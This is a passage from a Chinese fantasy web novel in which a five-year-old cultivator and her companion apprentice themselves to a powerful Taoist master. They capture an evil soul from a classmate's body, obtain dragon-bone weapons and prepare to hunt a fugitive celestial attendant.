净整这死出! 温大娘问她:“他咋说?” 张来娣抹了把脸,脸上的笑容压都压不住,“他耳根子软拿不了事,以后家里都是我做主。” 就算张老头想为张耀祖出头又能怎么样? 他在南方鞭长莫及,就是肯费钱回来,到时候就让他回顾一下扫把星的威力。 男人最是现实薄情,张老头一听指望不上张耀祖,电话里就再没提过一句。 要知道以前每次通电话,张老头都会叨叨个没完,而且句句不离他的宝贝耀祖。 张来娣搓着手坐下,“他说往后每月都寄钱回来,白来的钱,我打算都拿来吃喝花用,我的工资就攒起来留给瑶兰。” “嫂子,咱们这星期日去城里饭店,千万别跟我客气。” 温大娘也为她高兴,这可算是熬出了盼头,虽说瑶兰还小,真正的熬出头还远着,可比起之前却好上太多。 “行,咱们老姐妹的,我不跟你客气,到时候点上三盘大虾,让孩子们吃个够!” 在一无所知的情况下,张耀祖的地位从家里的中心砰地坠底。 他还怀着不切实际的希望:某天疼他的爷爷和爸妈回来,把张来娣和张瑶兰打一顿,丢去街上捡垃圾。 不过眼下这却不是他关心的,他最关心的是身体里的另一个灵魂。 那天晚上他对张瑶兰使用离魂符后,就莫名其妙昏厥。 陷入昏迷时,他来到一个漆黑的地方,见到了本该死去的黑袍天师。 天师抓住他,把他关在笼子里,说要暂时替代他。 张耀祖本不信,但他眼前出现一片水幕,水幕里正是天师替代他去上学的情形。 听课、月考,然后出排名表。 表上张耀祖的名次赫然从第五名跃入前三! 张耀祖:“?!” 孤立嫌弃他的同学们一改之前的冷漠,不怎么喜欢他的老师破天荒夸奖他,就连系统都罕见地对他另眼相看。 所有人都喜欢那个‘天师张耀祖’! 所有人都没有察觉到张耀祖换了芯子! 张耀祖跳脚,张耀祖发疯,张耀祖大吼大叫,但他却困在笼子里什么也办不到。 现实世界,温苒看到月考排名疑惑了下,张耀祖竟然能考满分? 别不是被什么脏东西附身了吧? 温苒不知道自己真相了。 她转瞬抛在脑后,放假跟姥姥去赶大集。 年尾的两三个月酸枣乡处处都很热闹,很多人家趁现在就开始准备过年。 温大娘分别要了块糯米年糕和黄米年糕,带两个娃娃去吃面。 “你妈妈给家里打电话,她今年过年回来,赶早腊月中旬就能回, 吃完元宵才走。” 温苒咬了口炸鸡排,“妈妈说要带我去长京的游乐场玩儿!” 温大娘嗦了口面,“你妈妈是要带你去她男朋友家。” 温苒鼓腮,“不去!” 温大娘刮了下她的鼻子,笑着道:“你妈妈还说接你去城里上学呢?” 温苒默默低下脑袋。 坏人! 大人都是坏人! 非要让她在姥姥和妈妈中间做出选择! 聪明的苒苒不会上当! 就在温苒发愁地叹气时,转机到了。 期中考试回家,师叔齐冰寒上门,还领了一个陌生面孔。 “苒苒和骁北回来了,快过来过来,帮师叔招呼一下。” 温苒指着自己,“我?” 温大娘清清嗓子,温苒瞥过去,就见姥姥冲自己挤眉弄眼。 好像有话说,却不能说。 温苒缓缓把小脑袋转到一旁,师叔带来的客人是个年轻男人,长相和气质很舒服。 察觉到她的视线,男人抬头看过来,微微一笑,伸出手,“吃糖吗?” 温苒默默沉默。 谁家的糖是大红色的,圆圆滚滚的,上面还有丹纹? 温苒好像猜出这人的身份了,她拽上哥哥,哒哒哒跑过去,“这是什么糖?” 男人:“我也不清楚。” 温苒:“……” 霍骁北这时掏出手绢,垫着手绢把糖接过来,包好,放兜里。 轮到男人:“……” 他张张嘴,解释道:“无毒。” 温苒指着桌上的橘子,“橘子皮也无毒。” 男人再次:“……” 这话题还能不能进行下去了? 他笑了笑,又从兜里掏出两个饱满的桃子,“这个无毒,能吃。” 桃子一出来,周遭的灵气浓度蹭蹭飙升。 温苒搓搓小手,大眼睛闪着光,“真的给我们吗?” “伸手。”他道。 温苒摊开小手,桃子轻轻放上来。 落手为安不如入口为安,她抱到眼前,嗷呜咬下一大口,口齿含糊不清:“谢谢师叔祖!” 丹阳顿了顿,继而笑着拿大掌揉了揉两个娃娃的头顶,“无需多谢,我不请自来,往后多有叨扰了。” 旁观的温大娘和齐冰寒对视一眼,激动地握起拳头。 第96章 第96章零零年代乡村小神婆21…… 丹阳师叔祖就在温家住下了。 温苒和霍骁北原先都是自学,东一榔头西一棒子,什么感兴趣学什么。 现在有现成的师父传道授业,虽说对方是第一次当老师,讲课随心所欲,经常刚才还在讲符咒,下一秒就蹿到炼器上去,但课后作业却是按照进度来的。 温苒和霍骁北既拓宽了眼界,学习也步入正轨,堪称一日千里。 于是两人白天去学校读文化课,放学回来继续听丹阳师叔祖的天师课。 期末考试后,两人捧着两张第一名的奖状回来。 丹阳师叔祖在同一时间宣布他的期末大作业:温苒需要炼体淬体并引气入体正式开启修炼;霍骁北则要基本掌握一套剑招。 温苒五岁还没过半,因她天生阴阳眼神魂不稳,体质也比较虚,并不适合年纪小小就开始修炼。 理论上来讲,年纪越小开始修炼越好。 母体中存在先天之气,若是能在胎儿时期就无师自通学会吐纳,甚至还会无形中提升天赋。 不过么,修炼看的从来都不止天赋,还有悟性、心性和机缘气运。 听丹阳师叔祖说,他及冠之后才开始访仙问道,踏上修炼一途。 引气入体之前需要先淬体,温苒开始了苦哈哈的锻炼课程,每日都要打拳跑步。 好在有霍骁北和瑶兰姐姐陪她,早起后喝一碗黑乎乎的药汤,趁着药劲打拳,在县城和酸枣村来回跑,到了城里饱饱吃一顿大餐。 一天活动下来,晚间再喝一碗黑乎乎的药汤缓解身体疲乏。 寒假后没几天,温怡就带着新男朋友回了家。 这也是她第一次带男朋友回家,前夫朱胜伟不算,朱胜伟是媒人介绍的认识的。 温苒别别扭扭的,温大娘满意得很。 陈黎是长京人,大学生,一表人才谦和周到。 温怡当然不会忽略女儿的看法,带她去路口小卖铺买零食,顺便谈心。 温怡抱着她坐在店外的板凳上,“不喜欢陈叔叔?” 温苒撅着嘴哼道:“他家里人我不喜欢。” 温怡先是震惊,“你怎么知道他家里人什么样?” 但很快便反应过来,“你算出来的!” 温苒抿着奶糖点点头,“他桃花还很多。” 温怡不以为意,捏了捏她的鼻尖,“妈妈桃花也不少,一般人应该没妈妈多。” 温苒:“……” 温苒垂下小脑袋,没话说了。 温怡却把她转过来,“苒苒是妈妈的女儿,在妈妈心里,谁都比不上苒苒。” 温苒抬起头,“那姥姥呢?” 温怡笑着道:“姥姥也重要,妈妈在姥姥心里是最要的,苒苒的姥姥在妈妈的姥姥心里是最重要的。” 好吧,温苒吧唧亲了妈妈一口,“妈妈和姥姥在苒苒心里一样重要!” 温怡告诉自己不该吃醋,女儿打小被姥姥养大,跟姥姥亲是应该的。 “要不要跟妈妈去城里上学?” 温苒:“……” 温苒垂下眼睛,拽着她的袖子扯了扯,“妈妈,我还要和师父学习。” 丹阳师叔祖都同意了,说年后挑个好日子让她和霍骁北拜师。 温怡也只是随口一问,公司刚起步,发展得如火如荼,她每天忙得连合眼的功夫都没有,实在腾不出精力来照顾女儿。 真让温苒跟她去鹏城,她还舍不得女儿陪自己吃苦呢。 过完年,初六,温苒跟妈妈坐火车去长京。 她坐火车,天上,丹阳师叔祖带霍骁北御剑飞行,同一时间落地长京。 陈黎朋友开车来接人,温怡抱着女儿小声跟他道:“只让苒苒见你外婆,其他人就算了。” 陈黎点头,紧接着道歉:“上次是意外,你不用在意那些人的看法,他们也不重要。” 温怡了解他家那点破事,知道他是什么意思。 她们两个以后只在鹏城和南方发展,长京唯一能让他在意的只有他外婆。 他们祖孙俩早就跟那些人单方面断绝了关系,老人家念旧,轻易不肯离开长京,也就给了那些人纠缠的机会。 “外婆身体不大好,你在鹏城一直不放心,你愿意的话,可以让外婆去我老家住一段时间。” 丹阳师叔祖来了以后,把两个小徒弟的阵法加强改良一番,现在的效果和功能比以往更甚。 陈黎愣了下,激动道:“真、真的吗?” 温怡点头,“不过暂时只能住隔壁二哥家,我家的房子年后要推翻重建。” 阵法不阵法的陈黎没那么在乎,他就想让外婆有个照应。 而且比起说服外婆跟他去鹏城,陈黎反而觉得,外婆更愿意去温怡的老家。 他外婆年轻的时候,去西北去东北扎根农村搞建设,老人家对农村和土地有种深沉的感情。 陈黎家的院子藏在长京曲折的胡同儿里,一路走着过去,到陈家门口前,温苒怀里已经抱满了各种小吃零嘴。 浓郁的肉香溢散出来,温苒深吸一口,“有肘子和糖醋鱼!” 陈黎笑了笑,“还有烤鸭和炸肉丸。” 一大一小刚说了这两句,还没叫门呢,就听到门后一连串的脚步声,紧接着嘎吱一声,大门从里打开。 精神头极好的老人笑着招呼三人进门,眼睛珠子不错一下地黏在温苒身上。 “这就是苒苒吧?” 她搓着手,看着很想亲自抱一抱。 温怡把温苒放地上,“叫太外婆。” 温苒仰着头,脆生生喊道:“太外婆!” 陈外婆笑成了花儿,忙蹲下来,掏出红包塞给娃娃。 陈外婆六十多岁,这个年纪最喜欢的就是孩子,要是个聪明乖巧机灵可爱的娃娃就更喜欢了。 简直是温苒去哪儿她去哪儿,净围着娃娃打转。 回头陈黎跟她说去乡下待一段时间,陈外婆没多犹豫就答应下来。 温苒在长京吃喝玩乐十来天,元宵节次日启程回家。 回程时,丹阳师叔祖和霍骁北也一起坐火车。 在家过了几日,正月底温怡和陈黎就离开去了鹏城。 陈外婆在乡下的生活可谓是如鱼得水,六十多岁的人了,瞅着比温大娘张大娘俩四十多岁的还有活力,还能折腾。 开学后的某天放学,温苒回来就看到三家门前的空地围上了栅栏。 温大娘小声解释:“你太外婆见不得地闲着,瞧别人家辟了菜园子红薯地,她眼馋。” 温苒一听,哒哒哒跑去找陈外婆,“太外婆,外面弄成菜园子,院里空地我想改成药田!” 陈外婆哪有不答应的,她再稀罕不过这小丫头了。 晚饭前,丹阳师叔祖溜达着从外头回来。 温苒仰头看着他,“师父,你去哪了?” 丹阳师叔祖背着手坐下,“你的好朋友,她弟弟有点意思。” 温苒详细跟他解释一通后,小手点着下巴,脸上露出不解神情。 “奇怪的是,他这一年多的成绩突飞猛进,好像换了个脑子似的?” 丹阳师叔祖揉了把她的小脑袋,提示道:“不是说他身体里还有个邪道的魂魄?” 温苒:“??” 温苒:“!!” 难道邪道夺舍了张耀祖的身体? 脑海中浮现出这个猜测,虽然离谱但莫名合理,温苒目瞪口呆。 就说张耀祖最近变化异常大,不仅有脑子,还不爱出风头了,他不闹出点动静来温苒很难注意 到这么个人。 可是话说回来,邪道应该清除张耀祖的扫把星命格吧?为什么还会夺舍?难道是想骑驴找马? 不过还有个问题,邪道是怎么夺舍的? 温苒随手掐了一把卦,然后沉默了。 好么,跟她还有那么点千丝万缕的关系…… 你说你个张耀祖可真活该,丧心病狂到想让亲姐姐变成傻子,活该你被夺舍! “师父师父,你能把邪道的魂魄困在张耀祖的身体里吗?” 温苒眼巴巴望着丹阳师叔祖。 俊秀年轻的男人轻咳一声,“可以。” 这天夜里,师父拎着两个小徒弟去了张家,给张耀祖的身体下了一道锁魂咒。 不出意外,张耀祖身体里的两道魂魄,非死不能出来。 温苒已经解除了阴阳眼的禁制,指着张耀祖灵魂上一点蓝光,好奇:“师父,那是个什么东西?” 她猜得没错的话,那应该就是学霸系统的本体。 认真说来,这劳什子学霸系统很不正经,明明是学习系统,完成任务不奖励卷子书本,反倒给一些符箓邪物? 丹阳挑了挑眉,拎着俩小徒弟纵身一跃,跃上万里高空。 是夜,繁星拱月,亮如白昼。 一条乌篷船缓缓在高空驶过,甲板上,一大两小三个身影围着四方桌席地而坐。 霍骁北熟练地拿出毛毯给温苒裹上,又从储物符箓里拿出吃的喝的摆在桌上。 丹阳:“……” 就这样,温苒喝着新榨的纯天然橘子汁,啃着牛肉干,听师父讲起了故事。 原来那东西根本不是什么系统,它来自天上,天庭。 天庭文昌帝君司文运功名,掌智慧才华。 人的运势时有波动,大运更是有起有落,可能昨天还浑浑噩噩,今天脑子就开窍了。 而冥冥中,则是文昌帝君按照天道旨意拨动了齿轮,体现在个人身上,或是伤仲永或是老而慧。 然天下生灵亿万万,文昌帝君他老人家纵是法力高深,也总要歇一歇的,于是便点化童子替他分忧。 帝君老人家只需要制定颁布细则,童子们手持帝君炼制的法器,按照规矩增减每个人身上的文运。 温苒飞快嚼完零嘴咽下去,“所以那个东西是帝君的法器?” 丹阳颔首,捏了颗椒盐蚕豆扔嘴里,“八九不离十。” 约摸还不是不小心掉下来的。 “可是,”温苒嘎嘣嘎嘣嗑起了松子,“都这么长时间了,童子们也要工作的吧?没了法器就没办法工作,他怎么不来取回去?” 丹阳不在意道:“不取正好,待我收了给你们俩娃娃炼成法器。” 第97章 第97章零零年代乡村小神婆22…… 温苒:“……” 温苒提醒过分随意的师父:“那是文昌帝君的法器,师父你不怕飞升以后被叫去喝茶啊?” 丹阳故作认真想了想,回道:“取之前师父会问一问帝君的意见,顺便告诉帝君他座下童子工作的失误。” 他顿了顿,改口:“这不是不问自取,这是交换。” “再说,为师飞升都是没影儿的事,明日事今日愁属实是庸人自扰。” 温苒点点头,不愧是师父,就是豁达! “师父!那可以问问地府的阴神,张耀祖上辈子到底做过什么吗?” 丹阳毫不犹豫应下,并说道:“不如为师现在唤阎王上来坐坐?” “你亲自问,顺道给你们两个要个职位,若是来日不能飞升,去地府做个阴神,努力工作积攒功德,再申请去天庭。” 温苒拨浪着小脑袋,不必了不必了,她还是年龄个位数的小学生,做什么要为没影儿事现在就签卖身契? 闲着也是闲着,映着月色,丹阳干脆加了堂课。 听了一晚上故事,第二天飞船落在陕北境内。 师徒三人逛吃得心满意足,买了一堆小吃才飞回家。 丹阳开坛布法,花费七七四十九天才同上界文昌帝君搭上话。 两边一对,才发现事情可能和想象的有些出入。 现实中,温苒刚结束期中考试,假期里一面继续精进修为,一面给好朋友张瑶兰启蒙,带她入门。 拜师过后,温苒从特别有钱的师父那里得到很多稀奇古怪的东西,其中就包括一堆试灵石。 据说试灵石是以前各大门派测试弟子天赋的东西,其并不是天生地养,而是炼器产生的边角料凝聚而成。 只不过如今末法时代,炼器师的实力一降再降,炼器所需的各种材料也逐渐消失,可着华国上下扒拉也扒拉不出几个有品阶的炼器师,所以试灵石这东西如今算是绝版限定,有价无市。 温苒让张瑶兰测了测天赋,发现还过得去,就开始带她入门。 恰好齐冰寒也在找徒弟,觉着张瑶兰合他眼缘,双方互相交流后,于是办了场拜师宴。 认真论起来,温苒和霍骁北现如今是整个天师界的小师叔祖,自然也是齐冰寒和张瑶兰的师叔。 但落到实处,最后还是各论各的比较好。 考察过张瑶兰各方面的天分后,温苒替她选择了符箓和风水两门。 张瑶兰用写满字的作业本练习画符,画得手酸后,凑到温苒旁边,“苒苒,耀祖最近好像有点问题。” 温苒竖起耳朵,“细说。” 张瑶兰犹犹豫豫,选择了个比较委婉的说法:“他好像疯了。” 温苒:“……” “之前不还是好学生么?考试也考了满分,怎么就疯了?” 张瑶兰点头,却不知道该怎么形容,“他、他之前是变好了,这阵子又变回去了……” “嗯,变得更、更不正常了。” 温苒却懂了。 是张耀祖的魂魄抢了身体的控制权啊! 张瑶兰叹气,“我还是更喜欢好学生耀祖。” 不惹事,在学校不会丢人现眼连累她,在家里也跟透明人一样。 温苒反而觉得还是张耀祖本人出来比较好。 张耀祖这人坏归坏,但跟邪道一比就是小巫见大巫。 虽然那个邪道出来后装得很老实,一门心思读书考试,还不能修炼,可系统会奖励稀奇古怪的东西,难保邪道不会做些什么害人。 不过,张耀祖是怎么出来的? 温苒百思不得其解,邪道钻了空子才掌控张耀祖的身体,总不能这回邪道的魂魄出了问题? 不懂要问师父,万分期待中,丹阳终于出关了。 是夜,一艘飞舟遨游在星空下。 温苒和霍骁北吃着喝着,听师父讲故事。 丹阳吹了吹热茶,语速慢慢悠悠:“你们两个摊上事儿了。” 温苒&霍骁北:“???” 温苒戳了戳霍骁北,霍骁北开口:“师父不要卖关子。” 丹阳挠挠脸,这臭小子板着脸的时候比他像师父。 “为师替你们接了一桩任务。” 温苒眨巴着大眼睛盯着不靠谱的师父,确定任务是她们俩的,而不是师父懒得动弹所以甩给她们? 被两双仿佛看透了他的眼睛盯着,丹阳:“……” 他身为师父 的威严呢? 丹阳放下茶杯,模仿大徒弟面无表情的样子,“为师也是为你们好。” 温苒两人静静看着他,也不说话。 丹阳:“……” 丹阳不自然地咳嗽一声,就当做两个徒弟答应了,接着讲任务内容。 “张耀祖身上的仙器出自文昌帝君府上,乃帝君为座下童子炼制。” “百年前天下大乱,人间文运低迷,帝君派童子下凡播洒文运,扶持文星。” “其中一名童子为人间功名利禄所惑,借助仙器胡作非为。” 温苒打断师父,“张耀祖是童子?” 丹阳缓缓摇头,“帝君座下童子周身沾染文运,自然不会考试都考不了满分。” 温苒反应过来自己问了个多蠢的问题。 “……好吧。” 丹阳就着张耀祖的身份继续讲:“张耀祖并非童子,那名童子在凡间娶妻生子……” 听到这里,温苒脑海中冒出个想法:难不成张耀祖是童子的后代? 下一秒丹阳的讲述就否认了这个猜测:“童子为政一方,用仙器强行提拔凡人资质,张耀祖就是其中之一。” 然而文昌帝君主文运,仙器也只会提升这一方面的资质,更遑论改变凡人品行。 当品性恶劣的凡人拥有了超出掌控的能力,后果可以想见。 人间恢复太平后,文昌帝君得知此事,命人将童子压上天庭,严刑处置。 现如今,那童子还在地狱中受刑。 刑罚结束,等待他的还有暗无天日的轮回。 自然,当初跟着童子一起作恶的凡人也不例外。 张耀祖身为其中之一,本就有几世恶行在册,所以在地府的安排下投了这么一个扫把星的命数。 而张耀祖魂魄里的仙器,原是童子知道罪行败露给自己留的后路。 数十年前,那童子连同地狱中一众恶鬼妄图越狱,大多数被地府镇压下去。 几条漏网之鱼逃到人间,按照童子教授的法术唤醒仙器,这才有了张耀祖重生被系统绑定一事。 但仙器总归是仙器,即便唤醒,凭那些厉鬼的道行也很难找到其下落。 丹阳:“帝君应允将仙器交给我,只不过仙器的启动符牌还在那童子手里,我便下去地府找那童子索要符牌。” 说到这里,丹阳顿了顿,“却不想,去了才发现牢房里的‘童子’只是个替身,一番彻查后,原来那童子早些年便偷渡到了人间。” “数十年来,童子纠集厉鬼为祸人间,还同地府官吏勾结,将几头作恶多端的鬼王引渡到人间。” 温苒讶然,数十年,那童子都跑了数十年,要不是师父走这一遭,指不定还要等到什么时候才发现? 鼎鼎大名的地府听起来像个草台班子…… “以童子为首的恶鬼们目前下落不明,阎王向文昌帝君请示后,把事情交给了你二人。”丹阳如此说道。 温苒说实话不大相信。 她和霍骁北算哪个排面上的,文昌帝君怎么就知道她们还相信她们能办好? 所以肯定是师父干的! 不过轻重缓急温苒还是分得清的,事情到了眼前,她不会推辞。 但问题是,“师父,我才五岁,他才七岁,我们也才刚修炼,去抓鬼王就是送人头啊!” 起码要金丹期修为才能称为鬼王,对方团伙里还一抓一把,她们两个炼气期小菜鸟能顶什么用? 丹阳一脸淡定,“不急,你们抓紧时间提升修为,时机到了对方自然会出现,到时就是你们练手的机会。” 别忘了,仙器可还在张耀祖身上,对方一定会找过来的。 再说,不还有他这个师父么,区区鬼王来几个他撕几个。 话题紧接着转到张耀祖身上,温苒问道:“师父,张耀祖的魂魄出来了。” 丹阳凝神沉思片刻,“我暂时封印了仙器,想来应当是考试后没有奖励,那小道主动退出去查探情况了。” “既然如此,你们两个就先拿邪道魂魄练手,一月之内,在不影响张耀祖和仙器的情况下,收了那邪道的魂魄交给地府。” 温苒叹着气点头。 唉! 快乐学习变鸡娃,让习惯了懒散咸鱼的她属实是顿生绝望。 接下来一个月,温苒和霍骁北头碰头商量计划,并为收邪道做出准备。 各样符箓都来个几十张,困阵迷魂阵也准备好,再找几只鬼魂练练手,最后出发! 月黑风高夜,两个萝卜头溜进张家张耀祖的房间。 激活阵盘摆在一旁,贴上离魂符,只见金光一闪,两个魂魄被弹出张耀祖的身体。 温苒眼疾手快,一手抓住一只魂魄。 张耀祖的踢回去,邪道的团吧团吧塞进符箓里收起来。 顺利结束作业,温苒拍拍手等在一旁。 霍骁北收起阵盘,牵上她离开张家。 两人没有回家,而是来到某处野地里,念咒施法召唤鬼门,把符箓里的邪道魂魄交给黑白无常,顺便问一问这附近有没有异常。 结果还真有? 结果真不少! 什么这个鬼魂不见了,那个鬼是横死的,西边河里淹死的孩子成了水鬼,北边村里上吊的女人成了吊死鬼没人收,还有一大堆的孤魂野鬼需要超度。 都不是什么大事,温苒全部接下来,打算到时带瑶兰姐姐一起解决。 忙忙碌碌到了暑假,丹阳对两个徒弟的长进大为满意,大手一挥,带着仨小孩儿去周游世界。 上天入地,登月下海,无所不能。 一叶孤舟漂泊在海面上,丹阳吃着大徒弟的烤鱼,说道:“明日我带你们下海,若是顺利,你们二人的武器就有了着落。” 第98章 第98章零零年代乡村小神婆23…… 挑了个风和日丽的天气,温苒和霍骁北随着丹阳下海。 不知过了多久,也不知潜了多深,只知道阳光再也照不进来,视线所及漆黑阴暗。 四下一片静谧,好似坠入无边无际的深渊中。 只有零星路过的荧光鱼虾,带来转瞬即逝的光亮。 温苒才刚刚修炼,体内灵力不多,下到这么深给她累够呛,干脆一左一右挂在师父和霍骁北身上,让他们带她继续下潜。 丹阳见状,打开防御法器,一道半透明的防护罩弹出来,将三人笼罩在其中。 防护罩散发出淡淡光芒,虽微弱,却照亮了四下百米的范围。 这时一道黑影罩过来,温苒抬起脑袋瞥了眼,就连忙吓得捂住眼睛。 妈耶!这什么东西长得忒吓人! 虽说深海里看不见,但也不能长这么寒碜吧? 继续往下,温苒见到的生物一个比一个丑,丑得别致又有新意。 忽而一道光亮映入眼帘,温苒低下头去,看到一处色彩斑斓的水晶宫殿。 该不会里面还住着龙王和虾兵蟹将吧? 水晶外倒扣着一道防护罩,行至跟前,丹阳挥手施了一道法术,带着两个徒弟径直入内,视防护罩为无物。 来都来了,丹阳带俩徒弟遍历水晶宫,好让她们见见世面。 由前往后来到水晶宫后殿,宽大的殿中央,一架玉白龙骨静静矗立着。 丹阳挥手送两个小徒弟上前,“去磕个头,求块龙骨。” 龙骨可是上好的炼器材料,何况这头龙还是本界最后一头龙,有大气运在身。 温苒乖巧地磕完头,双手合十开始许愿。 砰—— 一条脊椎骨砸下来。 砰—— 一只龙眼滚下来,咕噜噜转了几圈。 砰—— 一块龙角掉下来。 殿门口的丹阳:“……” 这怎么还区别对待? 当初他来求,这条龙就给了半根肋骨,抠搜得要命。 除了掉下来那几样,温苒临走时还摸了几片散落在地面上的龙鳞。 这龙鳞一片就好大一张,做成符纸肯定很不错。 没想到这头龙还挺大方,见她想要,哗啦啦送过来一堆。 温苒弯着眼全部笑纳。 取完龙骨,师徒三人回到海上,闪身进入丹阳的洞府中。 这洞府就像小说里写的空间一样,灵气充沛,有山有水。 温苒一落地就撒丫子跑向她的宝贝药田,结果没跑几步就被师父的灵气抓回去。 “等等,先说说你们俩想要什么武器?”丹阳指着空中悬浮着的几团龙骨。 霍骁北没得挑,“一把长剑。” 温苒呆呆盯着半天,“那我也要一把剑,我还想要一支符笔。” 丹阳收齐材料,“行,一人一把剑一支符笔,龙珠你们自己炼化。” “那头龙血脉不俗,本命天赋是时空系,你们暂且同龙珠培养培养联系,等修为提上来再行炼化。” 温苒一听就有了想法,等师父进了炼器室,她拽着霍骁北的手臂摇晃,“我想炼成芥子空间!” 她可太馋师父洞府里的药田了。 霍骁北点头,“之前三百年签到奖励过一眼灵泉,到时可以放置在空间里。” 温苒摇脑袋,“不行不行,灵泉很难得,万一用了就没有了怎么办?” 她们还要去下一个世界,只有在包裹里的东西才能带到下一个世界,而且不能太特殊。 霍骁北道:“我记得可以花费积分绑定物品,绑定后就可以带出原世界。” 温守财奴苒只关心一个问题:“那比直接买贵吗?” 这个霍骁北也不太清楚。 于是俩人头碰头,对着系统面板上各种规则条款研究了个遍。 便宜是便宜,但系统出品的所有东西都有售后,出什么问题系统包解决。 而花积分绑定的物品,后续有问题就还得花积分。 那还等什么? 绑! 必须绑! 现在就绑! 穷成这样还要什么自行车啊,系统商城里一个浴室都要大几百积分,绑定芥子空间才不过五百积分。 等以后积分存款多了,把芥子空间送给系统改造,花一笔小积分就能终身保修。 综合算下来,可比直接拿积分买划算多了。 于是在师父闭关炼器的时候,温苒和霍骁北轮流和龙珠培养感情。 打坐、炼丹、睡觉时,一定把龙珠放在身旁,每天还用药汤给龙珠洗澡,用灵气蕴养龙珠。 在师父出关前半个月,两人已经能做到把龙珠引入丹田中蕴养。 翘首以盼中,丹阳终于出关。 不待温苒和霍骁北跑上前,二人就被带出洞府。 茫茫大海上,厚重的阴云一层层压下来,云层中电闪雷鸣。 丹阳挥手,袖中甩出六枚光团,齐齐飞向阴云下方。 霎时,云层中漫无目的的雷电就找到了方向,直直向着下方的光团劈过去。 丹阳回身落到船上,灵力驱使小船,“走,我们闪远点。” 温苒扒着船舷往后看,六个光团在劫雷的围追堵截下仓皇逃窜,但大片的劫云下道道劫雷宛如雨下,无论逃到哪里都得挨劈。 霍骁北站在温苒旁边,“师父,怎么是六个?” 眼见船飞出了劫云附近百里,丹阳这才停下,回答道:“为师见材料剩下许多,便另添了些许,炼了一枚丹炉一樽器鼎。” 温苒眼睛亮了,她正缺一个丹炉呢。 霍骁北觉得自己可以额外学一学炼器,器鼎都炼出来了总不能放着不用。 劫雷劈了九天九夜,六个光团周身的光都快被劈灭了,天上的劫云才终于散去。 细细密密的甘霖降下。 温苒扒着船舷往下看,平静的海面下,已经不知道是第几个鱼群从远方赶来。 丹阳一挥手,召回六个光团,再操控灵船升空,小船慢悠悠飞向酸枣村。 六个光团温苒和霍骁北一人三个,绕着两人在半空飞来飞去。 温苒摸摸这个戳戳那个,就听师父说:“还有一截龙骨,你们想要什么?” 温苒摇摇头,“师父你的器鼎不是需要稀有材料蕴养,龙骨算不算?” 丹阳笑道:“那为师就笑纳了,不过只有龙骨还不够。” 霍骁北说道:“等抓到帝君座下童子,拿到符牌,把仙器取出来,看看他的存货里有没有用得上的。” 仙器伪装成的学霸系统的奖励,净是些稀奇古怪邪门歪道的东西,很符合那童子作恶多端的身份。 那童子在乱世中掌控一地,不知道该有多少积蓄。 开学前,师徒三人回到酸枣村的小院。 趁这个暑假,两家把院子推倒了重建,盖了三层小楼。 看着焕然一新的小院,温苒拽着霍骁北和瑶兰姐姐跑上跑下,选了靠近霍家一侧朝阳的房间。 选好房间,温苒和霍骁北把阵法重新布好,又跑去隔壁一通转悠。 阵法将三家的院子笼罩其中,每一家院里原本属于菜园子的位置,都被温苒种上了灵药。 灵药吸收灵气茁壮成长,又将更加菁纯的灵气吐哺出来,不需要额外布置聚灵阵,灵气的浓度也在逐日上升。 开学没几天,张耀祖又开始闹幺蛾子。 因为月考和期中考的名次都在三名开外,他没拿到奖励,于是再次向校长申请跳级。 校长考虑过后,拒绝了张耀祖。 现在张耀祖是五年级,再跳只能去六年级。 张耀祖的成绩很不稳定,之前还次次满分认真好学,现在骄傲自满三天两头旷课,成绩也一次不如一次。 这样的状态让他跳级,然后紧接着面临小升初考试,这是对学生的不负责任。 但张耀祖死活非要跳级,见校长不答应,就去闹张大娘,气得张瑶兰狠狠揍了他一顿。 最终,张耀祖还是得偿所愿,参加跳级考试,升上六年级。 温苒这次没跟着跳级,她跳级是为了阻止张耀祖拿前三名,从而完成系统任务拿到那些稀奇古怪的奖励。 现在仙器都被师父封印了,张耀祖考再好也没用。 紧接着一次月考后,安生了不多时的张耀祖就疯了。 他考了第一名,但系统毫无动静。 张耀祖疯过后开始思考,系统出问题了?还是系统不见了? 亦或者,系统被抢走了! 张耀祖眼前闪过一团黑色的人影,一定是他! 一定是那个人! 可是他该怎么办? 他连那个人是谁,是什么东西都不清楚,他去哪里找,就算找到他难道有本事抢回来? 怪不得他突然就出来了,原来是那个人抢了系统就跑了! 没了系统,张耀祖撑在胸口的那口气登时就散了。 还学什么学考什么考,上辈子学了二十多年,高考都考了三次,他还不是连个屁都没考上? 张耀祖彻底摆烂了。 学也不上了,试也不考了,天天去捡垃圾,把老师和校长气个够呛。 你说你先前闹成那样就为了跳级,让你跳了,结果你不学了? 温苒见天听瑶兰姐姐的转播,“耀祖消沉了一阵子,突然就跟打了鸡血似的,天天早出晚归去捡破烂儿,嘴里叨叨着什么电脑股票。” 温苒:“……” 啊这,不当学神当股神了是吧? 话说张耀祖上辈子才活了多少年,大多数时间还在 学校里学习,对股票金融能知道多少?怎么就这么有信心? 温苒拽着霍骁北一阵嘀嘀咕咕,霍骁北安慰道:“他赚不了,也赔不了。” 没听过兜里漏风的穷人玩股票,还赔得裤衩子都不剩了。 本来就穷得没裤衩子,再赔能赔到哪里去? 话糙理不糙,温苒把心放回了肚子里。 不过张耀祖实在让人敬佩,比小强还能折腾。 温苒手指点着下巴,她从张耀祖身上得到了启发。 她觉得,她也该折腾折腾。 第99章 第99章零零年代乡村小神婆24…… 不折腾怎么找到那个童子? 仙器轻易难以被卜算出下落,想来那童子不善卜算一道,他身边也没有能人善长此道,否则张耀祖都重生这么久了,也没见童子出现。 如今师父又将仙器封印,对方就更难找过来。 童子手上和仙器唯一的联系就是符牌,通过符牌可以卜算仙器位置。 可如今天师一道人才凋敝,有能力卜算的天师寥寥无几。 她们师父丹阳真君毫无疑问是其中之一,但想来那个童子不会没眼力见来找师父的麻烦。 毕竟据说丹阳真君在百年前就已经突破元婴期,如今他修为几何无人知晓,外界只知他快要飞升了。 这样一位实力冠绝天师界的老祖宗,那个童子躲着走都来不及。 但这样一来,童子找不到仙器,她们也找不到童子。 温苒脑筋一转,心想,童子需要擅长卜算的天师寻找仙器下落,找别人不如来找她啊? 温苒把主意告诉霍骁北和师父,一番详尽的讨论后,确定了引蛇出洞计划。 打铁还需自身硬,在计划开始前,温苒和霍骁北在师父的指导下继续精进修为。 与此同时,齐冰寒带来了天师协会的消息。 “今后协会打算每年举办一次天师大赛,主要有卜算、风水和实战三项。” 说完齐冰寒偷瞄向丹阳,他没说的是,协会那边想请师祖出席,怎么也是第一届,不办得隆重点怎么显出来重视? 当然,协会里那些人也想趁机和师祖搭上关系,好让自家后辈拜个师什么的。 